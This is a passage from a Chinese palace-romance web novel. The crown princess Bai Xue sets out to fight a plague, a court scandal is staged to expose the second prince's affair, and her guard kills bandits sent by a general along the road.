白雪瞬间明白她的潜在意思,大多人被救后,看见正常人与自己的不同,心理压力会成倍增加,当心里那根弦崩掉时,人就会想要去|死。
李妍现在就是这样,她承受不了别人的目光,总认为自己已经不能和正常人一样生活。
白雪连眼神都不曾变过,仿佛她面对的就是普通人,说道:“你身上的疤痕,我可以治好。”她没说出口的是,你心里的病,我治不好。
李妍轻声道:“算了。”
白雪知道她心意已决,只能给她上个套道:“你甘心吗?”
她甘心吗?
李妍不甘心……
凭什么?
凭什么害她成为这样的人,没有得到报应?
凭什么白雅琴还能在家里做千金小姐,她却连家都不敢回?
凭什么白雅琴活得好好的,自己却要找个地方自杀?
凭什么…凭什么…她不甘心,她一定要看到白雅琴死在她前面,她要看着她死,告诉白雅琴自己从那个地狱爬出来锁她白雅琴的命…
李妍满眼怨恨,就连周遭的气质都变得怨恨无比,当看见白雪站在原地,温柔地看向她,她才从心理扭曲的边缘挣扎出来,说道:“你真能替我治好?”
白雪:“嗯,不过时间或许会有些久。”
李妍:“我能等。”
与此同时,御书房内。
裴松:“让太子妃去一趟云尼村。”
裴宴景不明白,问道:“父皇,这是为何?”
裴松将手中奏折递给裴宴景,抬了抬下巴,示意裴宴景看。
裴宴景疑惑的接过奏折低头看,其他什么都没注意,只注意到五个字——云尼村瘟疫。
脑袋嗡的一声。
裴宴景捏着奏折的手关节都已发白,还有些颤抖,气不打一处来,他终于知道为什么叫白雪去,就因为白雪会医术,治好了他的毒,这是他第一次面对父皇这么硬气道:“儿臣不同意,父皇明知道那里正在发生什么,还要让她去,父皇存心不想让她活?”
裴松神色瞬间变了,作为他的继承人之一,他不允许有任何的软肋,原本只是想试探一下裴宴景的看法,没想到他竟如此,语气不曾变过几分,甚至更加轻柔,只是看向裴宴景的眼神中多了一分蔑视、失望,轻声道:“你以为朕在和你商量?”
裴宴景内心咯噔一下,完了,这下白雪不去也得去了,他知道这次是因为他的问题,他不应该冲动的,立马跪下道:“可…那里瘟疫肆虐,太医都束手无策,她一个闺阁女子,父皇,儿臣求您……”
裴松有些惊讶,没想到白雪对他竟如此重要,既然如此她不去也得去,作为他看好的最优秀的继承人,怎能如此优柔寡断、犹豫不决,这是他决不允许出现的问题,不容置疑道:“明日启程。”这语气不带一丝一毫可讨价还价的口吻。
裴宴景明白,但白雪对他来说不仅仅是爱情,这是裴宴景第一次认为自己渺小,连心爱之人都不能保护,只能眼睁睁看着她奔赴前线,低垂着头恭顺道:“父皇,儿臣明白了。”
白雪手里拿着书,看向门口的裴宴景,他看着脸色不太好,是出事了吗?问道:“出什么事了?”
裴宴景不知道该怎么告诉她……
白雪将书倒扣在桌上,走向裴宴景,踮起脚尖揉了揉他的脸:“这是发生什么事了,脸色这么臭。”
裴宴景一把将白雪抱在怀中,语气轻柔道:“父皇想让你去一趟云尼村。”
白雪不明白想让她去,她去便是,为何裴宴景会如此气愤:“那里是发生什么事了吗?”
当白雪以为裴宴景不会回答了,他的声音才从头顶传来:“瘟疫。”
白雪还以为出什么事了,如果是瘟疫来袭,想让她去救助百姓她很乐意,轻声道:“好,什么时候出发?”
裴宴景将白雪抱得更紧了,仿佛要将她和自己融为一体,整个头都埋在白雪脖子上,嗅着白雪的味道,声音闷闷的说道:“我担心你。”
白雪轻轻拍了拍裴宴景肩膀,安慰道:“我会照顾好自己的,你也要照顾好自己。”
裴宴景内心十分感动,更舍不得让白雪去,但他又没本事抵抗父皇,如果……他成为皇帝呢?
当这个念头出来的时候,裴宴景自己都吓了一跳,他怎么会这么想?
但无论是怎样的想法,这粒种子已经在他心里生根发芽了。
夜晚,白雪做好给李妍的祛疤膏。
栖霞走上前:“太子妃,奴婢去送吧,奴婢之前也和她一样,奴婢懂她。”
白雪笑了笑,没给栖霞:“那你说说,她是什么想法?”
栖霞毫不在意道:“想死呗,还能有啥想法。”
白雪停下脚步,看着她,没说话。
栖霞以为自己说错了话,扬起手就要打自己巴掌……
白雪:“说话就说话,打自己算怎么回事?”
栖霞悄咪咪地观察白雪的表情,见她没生气,才大起胆子问道:“太子妃不怪奴婢?”
白雪笑道:“你说的是实话,我怪你做什么?”
不知不觉间,两人就已到李妍的院子,李妍正坐在院子里望着月亮,不知在想什么。
连白雪走进院子,李妍都没发现,白雪走到她身边,低声问道:“想什么呢?”
李妍被白雪吓了一跳,慌乱的站起身道:“听说你明天要去云尼村。”
白雪有些惊讶道:“你怎么知道?”接着将手中做好的祛疤膏递给李妍道:“这是祛疤膏,专门多做了些给你,以防我还没回来,你就用完了。”
李妍接过祛疤膏有些感动,做这么多祛疤膏就是害怕她不够用,自己都要去云尼村,
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那种地方那种病九死一生:“我想和你一起。”
这句话一出。
不仅白雪惊讶的看向李妍,就连一旁的栖霞都有些惊讶,她还以为这个女人好不容易逃出来,不会再去任何村、山等偏僻地方,没想到居然愿意和太子妃一起去,先不论李妍能不能帮忙,就李妍有这份心,栖霞都佩服,还以为李妍会自怨自哀的死去。
白雪:“其实你不用跟我一起去,我救你是因为当时你也救过我,要不是你,可能我都等不到裴宴景来救我。”
李妍将随手东西放在凳子上:“我只是想换个地方喘口气。”吐出一口浊气:“待在这里,脑海里总想起那些事。”
白雪见她如此也不再劝她道:“那行,明日我们一起出发。”
翌日清晨。
裴宴景靠着梳妆台,眼神不舍的看着正在梳妆的白雪,手指摆弄着桌上的首饰:“这一去,不知你何时才能回来。”
白雪看见婢女正打算插上的首饰道:“简单点就好。”听见裴宴景的话,语气温柔道:“我会努力找出治疗的办法,争取早日回来。”
裴宴景:“我相信你,我只是有些担心。”
婢女轻声道:“太子妃,好了。”
白雪看了眼铜镜里的她,打扮简单却不失气质,这才起身走向裴宴景,牵起他的手往外走,安慰道:“放宽心,我会照顾好自己的,你也要照顾好你自己,别让我担心。”
裴宴景笑了,他竟还不如白雪想的开,白雪说的对,他要照顾好自己,等白雪走后,白雅琴、裴静姝、裴筠…害过白雪的人,他会慢慢清算,等白雪回来定让她不再担惊受怕:“好。”
白雪需要的东西早已备好,李妍和栖霞站在马车旁,等待白雪的到来,白雪看向裴宴景道:“我走了。”
裴宴景看向坐在马车上的齐越,对白雪说道:“注意安全。”
“好。”说完,白雪便上了马车。
马车渐渐远去,直到看不见后,裴宴景脸上的笑容渐渐消失不见,一脸严肃的对走来的肖玉道:“查到了吗?”
肖玉:“军师来京城就直奔二皇子府邸。”
裴宴景冷笑一声:“果然是他干的。”
肖玉:“今日二皇子约见白雅琴到御和楼,不知葫芦里卖的什么药。”
裴宴景:“不管是什么药,我都要他两结婚,白玉山这老狐狸想一声不吭的看戏,不可能如他的愿。”
“替我约纪云峰到御和楼——观隐。”
肖玉:“属下立马去办。”
与此同时,白雪坐的马车已经出了京城,栖霞看着外面的景色:“太子妃,这景色真不错。”
马车行走在道路上,扬起一道灰尘,两边是碧绿青翠的竹林,风一吹过发出呼啸的声音,这条道上今日特别热闹,行走的路人、马车络绎不绝。
栖霞疑惑的继续说道:“就是今日这道路上的马车、行人络绎不绝,真不知道这些人去往哪里。”
李妍轻声道:“慈隐寺。”
29.慈隐寺
白雪与栖霞异口同声道:“慈隐寺?”
李妍惊讶的看向两人,没想到这么出名的寺庙这两人都没听说过,想起以前白雪的待遇,没听过也正常:“里面的主持很出名,大家都爱去这寺庙祈福、许愿、求平安。”
栖霞看向白雪,语气兴奋道:“太子妃,我们也去求个平安吧?”
白雪思想渐渐飘远,回到她被关禁闭的那天晚上。
瓢盆大雨倾斜而下,雨水顺着屋檐往下,白雪望着这大雨,又看向屋子里,躺在床上咳得仿佛要把肺咳出来的娘亲,一咬牙冲进雨中。
雨水打在白雪的脸、眼睛、嘴上,雨水又冰又凉犹如她此刻的心情一般,她不知道父亲在哪里,突然耳边传来温馨的笑声。
白雪顺着声音走去,只见一家三口其乐融融的吃饭,但她认识里面的男人,那是她的父亲——白玉山。
她焦急的跑进屋里,还不等她开口,一道嫌弃的声音响起。
“哪里来的小乞丐,怎会跑进侯府,来人呐…快来人…”
很快几名小厮跑来,刚刚的声音再次响起。
“你们做什么吃的?什么阿猫阿狗都敢放进侯府,还不快扔出去。”
屋里三人的眼神仿佛在看一个陌生人,但也只是一瞬,便回过头继续吃饭。
白雪愣神片刻,直到被人拉着往外走,她才想起来找父亲的目的,大声喊道:“父亲是我啊,我是白雪。”
拉着白雪的小厮此刻有些慌张,不知该不该继续,就这样白雪挣脱束缚,跑到白玉山身边,根本没注意到旁边的女人,但白雪敢肯定她根本没碰到那个女人,只听一声尖叫声响起。
“孩子,我的孩子……”
白玉山立马起身走向女人身边,关心道:“没事吧?”
纪璇捂着肚子,身下流出一滩血道:“玉山,我肚子好痛,快救救我们的孩子…”
白玉山看向白雪的目光中多了几分不耐道:“还不快把二小姐带回院中,没有我的命令不准她出来。”
白雪急忙否认道:“我根本就没碰到她,父亲求求你跟我回去看看娘亲好不好,父亲…”
白雅琴用力推了一把白雪:“让你撞我娘亲。”
白雪被推倒在地,磨破手掌传来的痛,远不及心里的痛,立马爬到白玉山身边,抱着他的小腿道:“父亲,求求你跟我回去看看娘亲好不好,她快不行了。”
白玉山看了她一眼,吼道:“还不快带二小姐回去。”
那一眼的目光,白雪这辈子都不会忘记,那种蔑视、深入骨髓的瞧不起。
白雪被丢进院里,砰的一声巨响,门被关上,白雪回头想要开门,却怎么也打不开。
白雪立马跑进屋里,但她自己浑身冰凉不敢碰娘亲,怕她病更重道:“娘亲,你再坚持一下,父亲肯定会叫人来给您看病的。”
陈溪岚摸了摸白雪的脸蛋,费力的说道:“不用担心,娘…没事。”
白雪心里一直祈祷:若世间真有神明,求求你救救娘亲,不论需要她做什么,她都可以做。
若神、佛有用,娘亲也不会死去,白雪不信神、佛,只信自己,语气温和道:“我们这趟是专门为治疗瘟疫而去,若路上耽搁太久,我担心父皇知道后会不开心。”
栖霞低下头道:“是奴婢想差了,只顾着去求平安。”
白雪温柔的拍了拍栖霞肩膀道:“若时机合适,去一趟也行。”
与此同时,御和楼——观隐。
裴宴景坐在凉亭,怡然自得泡着茶,一旁的肖玉偷听着旁边的声音,内心急得不行,这纪云峰再不来好戏就完了。
这人真是念不得,说到就到。
纪云峰走向凉亭:“我说这观隐怎么一直订不到,原来是太子的专属包厢。”坐到位置上,环顾四周见肖玉站在裴宴景身后,语气严肃道:“太子今日怎有空约臣?”
裴宴景端起茶杯放到纪云峰面前,抬了抬手示意纪云峰喝茶道:“裴筠与白雅琴在旁边包厢。”
纪云峰刚端起茶杯喝了一口,听见此话手顿在原地,太子此话何意?二皇子与白雅琴为何会在隔壁,是太子做局?还是……
裴宴景喝了一口茶,见纪云峰这样裴宴景便知晓他在想什么,出声道:“你是在怀疑这是我做的局?”
纪云峰眼神中闪过一丝惊讶,放下手中的茶杯:“太子这意思是他们两早已有私情?”
裴宴景怎么从这话中听出几分八卦的意图,放下茶杯,看着桌上的糕点,想起了白雪,这糕点她肯定爱吃道:“大概有段时日了。”
隔壁突然传来一声尖叫、闷哼交织在一起的声音。
纪云峰大概知晓裴宴景找他来的目的了,见裴宴景面无表情的端起茶壶,在他茶杯里倒上茶水,纪云峰端起茶杯道:“祝太子所愿皆所得。”
裴宴景给自己倒上,端起茶杯与纪云峰碰杯道:“那就借纪右丞吉言了。”
夜晚渐渐来临,马车行驶在路上,栖霞还有些担心,撩起帘子看了眼窗外的天色,看向马车里的两人。
白雪凑近煤油灯看书,不知看到了什么,眉头紧皱,下一秒脸上浮现出笑容。
李妍在绣荷包,许是许久没做这些针绣活,突然被针扎了一下,立马放进嘴中含了一会儿。
栖霞突然就不忍心打破这幅岁月尽好的模样,坐在位置上,目视前方,不知什么时候才能到达驿站。
“太子妃。”
白雪抬头,对栖霞说道:“你去问问发生何事?”
栖霞走出马车,问道:“怎么了?”
齐越看着面前的慈隐寺:“问问太子妃,今晚在这休息一晚,行吗?”
栖霞顺着齐越的目光看去,慈隐寺?没想到她白天还想进来求平安,夜晚就到这里落脚了,真好,脸上扬起笑容道:“马上。”
随即栖霞走进马车,问道:“侍卫问今晚在慈隐寺休息行吗?”
白雪抬起头看向栖霞,那副满脸笑容的样子,她也嘴角上扬道:“这
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不是如你所愿了吗?”
“当然可以。”
白雪双手合十对面前的主持道:“对谢主持收留,不过我有个不情之请,不知能否让我们去求一下平安?”
主持双手合十行礼道:“阿弥陀佛,善哉善哉,施主想去,自然可以。”
白雪:“多谢主持成全。”
白雪走进屋里,装作失落的样子,栖霞与李妍原本在收拾屋子,见白雪进来,看她这副样子,也不愿再多说,不过就是主持不愿意,两人没有开口,只是默默的整理床单,不过多少也是有些失落感的。
白雪见两人虽然非常想去,但还是默默整理床单,怕问出口徒增烦恼,立马扬起嘴角,大声道:“主持同意了。”
栖霞立马把手中的床单放下,走向白雪兴奋道:“不愧是太子妃,太子妃出马一个顶两。”
李妍放下水壶,看向白雪脸上扬起微笑。
白雪:“走吧,先去求平安,回来再弄,栖霞你问问车夫和侍卫要不要一起。”
“奴婢立马去问。”说完跑出屋子,往侍卫车夫住的方向跑去。
栖霞、李妍、齐越皆跪于蒲团上,唯有白雪站立于几人身后,与佛像对望。
栖霞低头在心里默默许愿:希望此行一切顺利。
李妍本想许愿此行顺利,但满脑子皆是白雅琴那虚伪的笑:希望白雅琴在最春风得意时,从高处跌落,摔得最惨。
齐越没什么求的,只是行礼磕头,满脑子皆是空白,哦,他最想要的是娶个媳妇,但娶媳妇也不是现在,现在他无所求,只愿永远追随太子脚步。
栖霞见其他几人还跪在蒲团之上,唯有白雪站在角落,四周皆暗,唯有她被煤油灯照亮,这一刻她以为自己看见神仙成真,在她心里,白雪便是神仙下凡。
栖霞不想打破这片刻宁静,站在不远处等待众人。
栖霞手里拿着斗篷,见白雪站在院子里的菩提树下,望着树上挂满的红飘带,走过去将斗篷披在白雪身上道:“太子妃,夜晚凉披上斗篷,注意身体别着凉了。”
白雪紧了紧斗篷看向栖霞:“栖霞,你说这些愿望都成真了吗?”
栖霞抬眼看向红飘带道:“也许吧,这神仙做事,奴婢也见不着啊。”
白雪听到这话,嘴角上扬道:“是啊,神仙做事,我们凡人岂能看见。”
若这世间真有神仙,为何听不见她的祷告,也许是世人都在祷告,神仙也不能都帮忙,偶尔有几个漏网之鱼。
求神不如求己。
白雪轻声道:“走吧,回去休息。”
与此同时,定安侯府。
白玉山将手中的杯子狠狠砸向地面,看了眼站在一旁的白雅琴,对纪璇道:“你生的好女儿,真是天大的本事,能勾搭上二皇子,做那事也不知道避着些人,大白天就敢在御和楼同那二皇子媾合。”拍着自己的脸,面红耳赤道:“老子的脸,今日都被她丢尽了。”想起明日还要上朝,不知那些人要怎么挤兑他。
30.鸡汤
霎时间,房内所有人大气都不敢喘,这还是老爷第一次当着下人发这么大的气。
纪璇无话可说,她就不明白了,那御和楼的房间是那么好闯的?
不过半天时间,这事情就闹得这么大,没人做局纪璇信都不信,但老爷这么大的气,看来是时候搬出她的哥哥了。
纪璇轻咳一声,看向她的心腹张嬷嬷:“去把我箱子里的信拿出来。”
张嬷嬷看了眼老爷的神情:“是,夫人。”走进内厢房。
白玉山眼中闪过一丝惊讶,信…什么信?谁给她的信?是她哥哥还是谁?但他没动作维持原样,只是脸色有些缓和了一些。
纪璇扶了扶头上的配饰,凑近白玉山道:“前几日,我哥哥给我寄了封信,说边关战事即将胜利,但云尼村出了瘟疫。”
瘟疫?
白玉山自然知晓,这几日朝堂上人心惶惶,不过为何会专门给纪璇写信说这个,什么意思?
纪璇见白玉山眼中好奇,手臂自然的挽上白玉山的手臂,白玉山只是看了一眼,却没有动作,纪璇这才继续说道:“哥哥说不久后,太子妃会到云尼村。”
这时,张嬷嬷走了回来,手中拿着一封信,看向纪璇,见纪璇朝白玉山那边抬了抬下巴,立马把信交给白玉山道:“老爷,信。”
白玉山接过便迫不及待打开看,但动作却透着几分优雅从容,信缓缓展开,果然如纪璇所说,白雪这是被太子放弃了?
白玉山看向跪在地上的白雅琴,白雅琴正巧在偷瞄白玉山,两人视线相对,白雅琴立马低下头,白玉山轻咳一声:“好了,起来吧。”
白雅琴偷瞄了一眼,见白玉山脸色缓和,才急忙站起身,走过去抱着白玉山手臂撒娇道:“爹,不如直接让二皇子娶了我吧。”
也不是不能,只是不知二皇子是什么想法,看来还得找机会试探试探,不过皇后会同意吗?
白玉山严肃道:“二皇子是你想嫁就能嫁的吗?”
白雅琴想起二皇子说过的话。
事后,裴筠抱着白雅琴,白雅琴躺在裴筠怀中,玩着头发道:“你打算什么时候娶我啊?”
裴筠眼中闪过一抹算计,白雅琴没有看见,沉浸在这份美好之中。
裴筠低头在她额上亲了一口,温柔道:“放心,我一定会娶你的。”
白雅琴脱口而出道:“二皇子之前说过,会来娶我的。”
白玉山看向白雅琴,沉声道:“何时?”
纪璇也有些惊讶的看向白雅琴,以前从未听白雅琴提起过这些事。
白雅琴玩着头发,羞涩的转过身道:“就…今天。”
纪璇有些不敢相信,自己女儿竟如此单纯,男人床上说的话能信吗?
那不都骗人的吗?
白玉山看了眼纪璇,那意思再清楚不过,这么精明的女人,生个女儿竟如此单纯,真不知道她是怎么教的,长呼一口气道:“二皇子送没送过礼物给你。”
白雅琴点点头道:“有。”
“是什么?”白玉山希望白雅琴能拿点有用的东西出来,最好是能证明二皇子身份的东西。
白雅琴摸了摸头上的簪子道:“就这个。”
白玉山失望的问道:“没了?”
白雅琴见白玉山这样,便知他对自己失望了,突然想起今日回家时。
白雅琴急冲冲的回到马车,吩咐丫鬟道:“快走。”
话音刚落,突然从窗外掉进来一枚玉佩,白雅琴撩起帘子看了眼,却只看见过路的人,好奇的捡起玉佩看了一眼,上面有个筠字。
这是……
丫鬟走进马车看见的就是白雅琴拿着玉佩看,笑道:“大小姐这是二皇子送你的定情玉佩吗?”
白雅琴这才恍然大悟,不过……裴筠为何不亲自给她,而是通过这样的方式呢?
白雅琴把玉佩收好,满脸笑容道:“嗯。”
白雅琴急忙拿出玉佩递给白玉山道:“还有这个。”
白玉山眼前一亮,接过玉佩仔细看了看,这枚玉佩他好像见过,但一时有些想不起来道:“这是二皇子的?”
白雅琴点点头道:“对,我每次见他时,他腰间都挂着这枚玉佩。”
与此同时,二皇子府邸。
裴筠感觉腰间有些空,习惯性地摸上腰间的玉佩,什么都没摸到,低头一看……
玉佩什么时候消失的?
裴筠吼道:“我玉佩呢?”
随从立马上前,单膝跪地行礼道:“属下立马去找。”
想起今日发生的事,裴筠神色渐渐凝重,眼神如毒蛇般,阴测测的看向随从道:“不用了。”
居然敢有人给他做局,究竟是谁?
苏公公进了院子看见的就是这幅场景,他当作没看见的样子,轻咳一声。
裴筠眼神不耐的回头望去,见是苏福瑞立马笑道:“哟,什么风把苏公公吹来了?”说着右手臂摆直,指向朝屋内的方向说道:“快里面请。”
苏福瑞笑了笑:“不用这么麻烦,皇上让我来请二皇子您进宫一趟。”
裴筠笑了笑道:“父皇有说是何事吗?”
苏福瑞为难道:“这…皇上也没明说,咱家也不清楚。”
妈的,这狗奴才,老子迟早把你杀了。
裴筠笑道:“那我这就跟苏公公进宫。”
裴筠走进御书房,见父皇坐在椅子上低头处理奏折,像是根本没发现他进来一般,立马上前跪着行礼道:“父皇。”
裴松头都没抬,当没听见一般处理自己的奏折。
裴筠跪得越久,内心就越害怕,这样的天气,额头竟出了一层薄薄的汗,大气都不敢喘一下,生怕被父皇骂。
一时间整个御书房就只剩下翻页的声音。
裴松处理完奏折,看向跪在地上的裴筠开口道:“今下午的事,你打算怎么处理?”
完了!
他应该怎么处理这件事?
父皇这意思他是娶还是不娶…
膝盖传来剧烈疼痛,裴筠想动又不敢动。
苏福瑞走进来行礼道:“皇上,皇后娘娘来了。”
裴筠眼中闪过一丝欣喜,母后来了,他有救了
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。
裴松更加不耐,语气却毫无波动道:“让她进来。”
杜若华端着鸡汤走了进来,当没看见儿子跪在地上,径直走向裴松,将鸡汤放在桌上道:“我亲自炖的,尝尝味道如何。”
裴松尝了一口:“不错,怎么想起亲自炖鸡汤给我喝,直接叫厨房做便是。”
杜若华笑了笑:“他们炖的我不放心。”
哪有什么放不放心,还不是知道儿子闯祸了,担心被责罚,赶紧跑来看看什么情况,在恰当的时机求情。
御书房里的三人心知肚明,但谁都没戳破。
裴筠见父皇没有开口让他起来,估摸着还在等他回话,母后来了他就没那么怕,大着胆子说道:“儿臣想娶她。”
裴松放下碗,神色未变,语气轻柔道:“你是应该娶她,你打算把她娶做正妻还是妾室?”
裴筠看了眼母后,见母后轻微的点了点头,才试探性开口道:“妾…”见父皇脸色有些难看,急忙道:“正妻,娶她做正妻。”
裴筠不愿意娶白雅琴,一个被他玩过的女人,给点好处便是,要不是出了这档子事,别说正妻,就连妾室都轮不到她白雅琴,不过那白玉山确实是个不错的助力,娶了也不是不行。
裴松:“你打算什么时候办婚事?”
当然是越久越好,但裴筠看了眼母后,母后的手悄悄比了个三,这是三年还是三个月?
两人的小动作,裴松看的一清二楚,但他没有拆穿,现在还不是时候,不过这皇后确实管得有点宽了,想到这里他便想起了裴宴景的母亲,她是那样的温柔、知礼节、懂事。
裴筠:“三年。”
“那就三日后。”说完,看都没看裴筠,起身走出御书房。
什么三日后,他明明说的是三年后。
但裴筠不敢反驳,只得赶紧开口道:“是,父皇。”
杜若华看着裴松的背影消失在视线中,赶紧端着碗走过去道:“我让你说三日后,你说什么三年?”
两人并排往外走。
裴筠:“娘,儿臣不愿意娶她。”
杜若华有些气儿子干事,竟如此不小心,不过这事多半是那白雅琴搞鬼,但还是得问问儿子这事究竟怎么回事,说道:“行了,若真不愿,就别闹得满城风雨。”
“这事究竟是谁干的?”
裴筠细想了一下:“儿臣也不知晓,只知突然被人推开房间,屋外正巧站着纪云峰,他旁边围着一群官兵。”
杜若华:“这么说来,不是白雅琴搞的鬼?”
裴筠回忆着白雅琴当时的举动。
屋子突然被打开,白雅琴尖叫一声,猛的盖住脸,虽然她动作已经很快了,但还是被人看了个正着。
裴筠认为应该不是白雅琴搞的鬼,瞧她那样,对自己言听计从的,应该不会搞这些事,但会是纪云峰吗?
当时纪云峰与官兵正在交谈,并没有看向屋内,交谈的什么呢?
裴筠一句也没听清,满脑子都是两人被发现,应该怎么办?
想到这里,裴筠才开口道:“不是。”
31.山匪
杜若华想到一个人,神色凝重道:“会不会是裴宴景。”
裴筠脑海中所有的疑惑均得到解释,但为何纪云峰会出现在那里,而且父皇还逼着他娶白雅琴,莫非父皇也知晓并同意,究竟是为何要这么对他?
父皇年龄这么大,早就该让位了。
马车离京越来越远,白雪突然感觉到马车停下,原以为到达了云尼村,却听见祁越传来的声音:“保护好太子妃。”
白雪抬头见栖霞脸色发白问道:“怎么了?”
栖霞:“有…有山匪。”
为首的刀疤男肩上扛着大刀,目光如鹰隼般在齐越身上打量:“此山是我开,此树是我栽,要想从此过,留下买路财”(出自隋唐演义——程咬金经典台词。)
祁越抱着剑道:“我怎不知官道何时成你开的了?”
刀疤男与手下相视而笑,根本没把齐越看在眼里,在刀疤男眼中齐越瞧着瘦弱不堪,也就那把剑看起来有些来头道:“老子说是老子开的,就是老子开的,不服?”
祁越缓缓摇摇头道:“不服。”
刀疤男大声喊道:“兄弟们,他不服怎么办?”
刀疤男的兄弟们异口同声道:“那就打到他服。”
话音刚落,山匪们纷纷冲上来,祁越拿着剑与山匪正面交锋,这一切都被山顶的两个男人看在眼中,若白雪在此肯定能认出老头来,此人便是把玉佩给白雪的莫询。
年轻一些的男人莫弈说道:“怎么不去救她?”
莫询:“若遇到山匪就已怕到不行,怎么接手莫家的生意?”
莫弈笑了笑:“你知道她是太子妃吗?”
莫询沉默片刻,若早知道她是太子妃,这玉佩无论如何也不会交给她:“嗯。”
两人根本都没想过白雪会不会接手他们莫家的生意,在他们看来让她接手已是天大的赏赐,若不是莫家家训,这生意怎么可能交与外人手中。
声音渐渐变小,栖霞悄悄掀开帘子看了一眼,入目满是尸体,却没看见齐越,有些担心的说道:“太子妃外面全是尸体,怎么办?”
白雪脸色未变,听着外面的打架声道:“别担心,相信祁越。”相信裴宴景给她的护卫,若身手不行的话,她相信裴宴景是不会放心让祁越保护她们。
李妍一直在绣荷包,动作未曾停过,仿佛发生的一切她都不知道,只是听到白雪这句话,手停顿了片刻后,又继续绣着手里的荷包。
李妍要抓紧绣好,这是她准备送给白雪的生辰礼物,若她没记错的话,白雪生辰应该快到了。
刀疤男见兄弟们皆被齐越所杀,知道自己惹到了狠人,让他投降又丢不开面子,让他正面交锋又不敢,纠结片刻,见齐越没动手的意思道:“要杀要剐给个痛快。”
祁越这才正脸瞧他道:“谁派你来的?”
刀疤男有些意外,他还以为这事办得隐秘,没想到这么快就被识破,说道:“没有人。”
祁越把剑放在他肩上,离脖子只有一厘米的位置:“我不想再说一遍,告诉我。”
反正那人也没说要杀的人有这么厉害的护卫保护,他说出来也不曾违约,大不了就是不在这块混了,反正他是一人吃饱全家不饿的主:“我不认识,只知道他手下称呼他为纪将军。”
齐越呢喃道:“纪将军…”回头看了一眼马车的方向,这不是…太子妃嫡母的哥哥吗?
此事还得赶紧禀报太子,至于眼前这个男人,祁越不怕他会去告诉纪晓云,这人明显与纪晓云不熟,但他不信活人,只信死人。
刀疤男见他分神,握紧手中的刀朝齐越砍去,祁越的剑用力一抹,刀疤男的刀停在半空中,哐当一声,刀落地的声音响起。
刀疤男捂着脖颈,瞳孔放大向后倒地去,死前还在思考该去哪里讨生活。
祁越没有回头看,走向马车,应不应该把此事告诉太子妃,脑中不断思考此事,踏上马车。
算了,先将此事禀告太子再说。
白雪:“栖霞去问问祁越有没有受伤。”
栖霞点头掀开帘子,问道:“太子妃问你有没有受伤?”
祁越摇头回答:“没有。”而后大声说道:“劳烦太子妃挂念,属下没事。”
白雪大声道:“没事就好,栖霞回来吧。”
栖霞大声说了句:“好。”便走回车厢。
山路越来越崎岖,两侧密林遮天,鸟叫声此起彼伏地响起,夜晚马车停在官驿,官驿门口挂着一面旗子,上面写着莫。
店小二肩上挂着白布,看见白雪一行人,立马上前询问道:“几位客官,住店还是吃饭?”
白雪:“住店,五间房。”
店小二有些为难道:“几位客官真是不巧,小店只剩下三间房。”看向几人神色,试探性地继续说道:“要不几位挤挤?”
祁越担心太子妃为难立马开口道:“属下可以和陈伯挤一挤。”
白雪看向李妍问道:“你一个人睡可以吗?”
李妍想和白雪一起睡,倒不是害怕,只是待在白雪身边,她觉得更有安全感,不知为何她总感觉这家店不太对劲,试探性道:“我想和你一起睡,可以吗?”
既然如此,那她们三人挤挤睡一间吧。
白雪对祁越道:“你和陈伯一人一间,我们三挤挤。”然后对店小二说道:“带路。”
店小二手臂完全伸直,侧身面向前方,微微弯腰道:“几位客官里面请。”经过柜台时,与掌柜的眼神交汇。
祁越看向掌柜的,怎么是个女人?
倒不是他看不起女人,但驿站一般都是男掌柜居多,头一回见是个女掌柜,不由多看了几眼。
掌柜的长相艳丽,身材火辣,但穿着保守,与祁越眼神交错时,微微挑眉,这女人不简单,能够在此地开驿站还没人闹事。
祁越环顾四周,见其他人都在看向他们这行人,手不自觉地握上了挂在腰上的佩剑,上前对白雪小声道:“太子妃,多加小心。”
白
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雪微微点头:“好。”她也看出这驿站有些不对,但这方圆十里之内,就只有这间驿站,她们只能在这店里休息。
店小二指着其中两间道:“几位客官,里面请。”
白雪有些意外,难道三间房不在一起?开口问道:“还有一间呢?”
店小二指着对面角落的房间道:“还有一间在那。”
白雪几人眼神交汇,都在传递一个信息,怎么离这么远,下一秒白雪开口道:“就这两间吧,那间我们不要了。”
店小二:“好的,客官,吃些什么?需要热水吗?”
白雪几人虽然有几日没洗了,但才刚开春不洗也行,都不是有洁癖的人,更何况这家店处处透露出古怪,白雪可不敢在这店里洗澡:“你们店里的招牌都上一遍,我不要热水。”而后看向其他几人询问道:“你们呢?”
四人皆摇头,白雪这才继续说道:“不要热水,给我们上壶好茶。”
店小二这才笑道:“得咧,几位客官稍等片刻。”
白雪三人刚进房间关上门,栖霞就迫不及待说道:“太子妃,这家店有问题?”
白雪还没开口,李妍便道:“不知道你们什么感受,反正我一进这店就浑身不自在。”
栖霞鸡皮疙瘩起了一片,摸着手臂道:“奴婢也觉得这店有问题。”
白雪神色凝重道:“不管如何,今晚多加小心便是。”
隔壁的祁越与陈伯进了房间,祁越说道:“陈伯小心马被人下毒。”
陈伯抬眼看了眼祁越,脱下鞋子倒扣在地上拍了拍,拍出几粒石子穿上鞋:“嗯,我去喂马,今晚就不回来了。”
祁越神色凝重道:“小心。”
陈伯点点头,这才走出房间。
祁越立马从怀里掏出一小节竹笛吹响,快速写下今日之事,一只白色的鸽子停在窗边,祁越打开白鸽脖子上的竹筒,将字条塞入其中,白鸽便向京城的方向飞去。
陈伯下楼时,见之前的店小二正在与掌柜交谈,至于在交谈什么,他并没有听见,装作不知情的样子走出驿站,驾上马车离去。
莫青鲛对店小二道:“今晚试探一下那为首的女子,切记勿伤人性命。”
店小二点头道:“小姐,您说老爷为何不直接将生意交给您,而是另寻他人。”
莫青鲛不知为何,但她知晓一百年前莫家曾来了一位仙人,从怀里掏出一枚玉佩交给莫家家主,并告诉当时的莫家家主:“每十年拿着玉佩到京城寻人,何时发现玉佩隐隐有灼热,便可交与她,可保莫家百年荣光。”
所以每十年莫家家主就会拿着玉佩到京城寻人,前面的九十年都未曾寻到那人,今年却出现了,不知是好是坏,但无论如何莫青鲛也要试试她的人品如何。
若她是个胆小怕事之人,莫青鲛就算拼着被父亲逐出家门,也要从她手中将玉佩夺回来。
莫青鲛看向厅里其他人,微微点头,大厅才重新出现交谈声,但大家都在注意楼上的动静。
32.夜袭
与此同时,京城东宫书房。
肖玉:“太子,人找到了,在回京的路上。”
终于找到了,躲得够久的,裴宴景头都没抬,正在画画,画像女子和白雪无异:“嗯。”
白鸽落在窗沿上叫了一声,肖玉立马走过去,从它身上取下竹筒,取出纸条径直走向书桌,递给裴宴景道:“太子,祁越传信。”
